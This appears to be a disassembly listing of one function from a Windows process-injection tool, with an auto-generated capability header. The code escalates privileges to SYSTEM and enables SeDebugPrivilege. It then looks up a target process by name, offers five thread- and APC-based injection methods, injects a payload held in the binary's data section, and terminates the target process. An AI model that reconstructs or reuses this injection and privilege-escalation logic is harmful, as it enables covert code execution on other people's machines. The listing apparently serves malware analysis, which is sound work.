Function at 0x140011307
Capabilities:
Acquire debug privileges
Enumerate processes
Execute command
Terminate process

Disassembly:
jmp 0x140012900
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140021040]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x1400272f6]
call fcn.140011438
call fcn.140011483
movzx eax, al
test eax, eax
jne 0x140012969
lea rcx, str.Failed_to_get_Windows_NT_version_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError:_0x_x_n
call fcn.1400111f9
lea rcx, str.escalating_Privileges..._n
call fcn.1400111f9
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140011096
mov dword [rbp + 4], eax
mov edx, dword [rbp + 4]
lea rcx, str.Result_of_Privilege_Escalation_:__d_n
call fcn.1400111f9
cmp dword [rbp + 4], 0
jne 0x1400129a9
lea rcx, str.Successfully_Escalated_privileges_to_SYSTEM_level..._n
call fcn.1400111f9
lea rcx, str.Target_process_name_:
call fcn.1400111f9
mov r8d, 0x4f
lea rdx, [rbp + 0x30]
lea rcx, str._79s
call fcn.14001127b
mov dword [rbp + 0xa0], 0x130
lea rax, [rbp + 0xa4]
mov rdi, rax
xor eax, eax
mov ecx, 0x12c
rep stosb byte [rdi], al
mov dword [rbp + 0xa0], 0x130
xor edx, edx
mov ecx, 2
call fcn.140011203
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0xffffffffffffffff
jne 0x140012a43
lea rcx, str.CreateToolhelp32Snapshot_failed_
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0x_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor eax, eax
jmp 0x140012d33
mov dword [rbp + 0x204], 0
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x1e8]
call fcn.1400113ac
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0
je 0x140012b24
lea rdx, [rbp + 0xcc]
lea rcx, [rbp + 0x30]
call fcn.1400114ba
test eax, eax
jne 0x140012b06
mov eax, dword [rbp + 0xa8]
mov dword [rbp + 0x204], eax
mov edx, dword [rbp + 0x204]
lea rcx, str.PID_found_for_this_process_name_______d_n
call fcn.1400111f9
lea rcx, str.Is_this_OK____Input_Y_to_continue_with_this_PID__:
call fcn.1400111f9
mov r8d, 2
lea rdx, [rbp + 0x244]
lea rcx, [0x14001da00]
call fcn.14001127b
lea rdx, [0x14001da04]
lea rcx, [rbp + 0x244]
call fcn.1400114ba
test eax, eax
je 0x140012af8
lea rdx, [0x14001da08]
lea rcx, [rbp + 0x244]
call fcn.1400114ba
test eax, eax
jne 0x140012afa
jmp 0x140012b24
lea rcx, [0x14001da0c]
call fcn.1400111f9
lea rdx, [rbp + 0xa0]
mov rcx, qword [rbp + 0x1e8]
call fcn.140011442
mov dword [rbp + 0x224], eax
jmp 0x140012a66
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rbp + 0x204]
lea rcx, str.Target_Program_PID:__d_n_n
call fcn.1400111f9
mov dword [rbp + 0x264], 0xffffffff
lea rcx, [0x14001da0c]
call fcn.1400111f9
lea rcx, str.___1__CreateRemoteThread_n
call fcn.1400111f9
lea rcx, str.___2__NtCreateThread_n
call fcn.1400111f9
lea rcx, str.___3__QueueUserAPC_n
call fcn.1400111f9
lea rcx, str.___4__SetWindowsHookEx_n
call fcn.1400111f9
lea rcx, str.___5__RtlCreateUserThread_n
call fcn.1400111f9
lea rcx, [0x14001dac8]
call fcn.1400111f9
lea rcx, str.Enter_the_Injection_method:
call fcn.1400111f9
lea rdx, [rbp + 0x264]
lea rcx, [0x14001daf4]
call fcn.1400110af
mov r8d, dword [rbp + 0x204]
xor edx, edx
mov ecx, 0x42a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
jne 0x140012c1f
mov edx, dword [rbp + 0x204]
lea rcx, str.Could_not_open_Process_for_PID__d_n
call fcn.1400111f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LastError_:_0X_x_n
call fcn.1400111f9
lea rcx, str.PAUSE
call qword [sym.imp.ucrtbased.dll_system]
xor eax, eax
jmp 0x140012d33
xor r8d, r8d
lea rdx, str.SeDebugPrivilege
mov rcx, qword [0x140021210]
call fcn.1400113fc
mov rcx, qword [0x140021210]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x264]
mov dword [rbp + 0x414], eax
cmp dword [rbp + 0x414], 1
je 0x140012c7d
cmp dword [rbp + 0x414], 2
je 0x140012c92
cmp dword [rbp + 0x414], 3
je 0x140012ca7
cmp dword [rbp + 0x414], 4
je 0x140012cc3
cmp dword [rbp + 0x414], 5
je 0x140012cd7
jmp 0x140012cec
mov rdx, qword [rbp + 0x288]
mov rcx, qword [section..data]
call fcn.1400112f3
jmp 0x140012cf8
mov rdx, qword [rbp + 0x288]
mov rcx, qword [section..data]
call fcn.140011488
jmp 0x140012cf8
mov r8d, dword [rbp + 0x204]
mov rdx, qword [rbp + 0x288]
mov rcx, qword [section..data]
call fcn.140011384
jmp 0x140012cf8
mov rdx, qword [section..data]
mov ecx, dword [rbp + 0x204]
call fcn.140011122
jmp 0x140012cf8
mov rdx, qword [section..data]
mov rcx, qword [rbp + 0x288]
call fcn.1400110a5
jmp 0x140012cf8
lea rcx, str.Choose_a_valid_mathod_n
call fcn.1400111f9
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x140012d31
lea rcx, str.TerminateProcess
call fcn.140011109
mov dword [0x140021218], 0xd
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001d800]
call fcn.1400113bb
mov rax, rdi
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.140011217
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret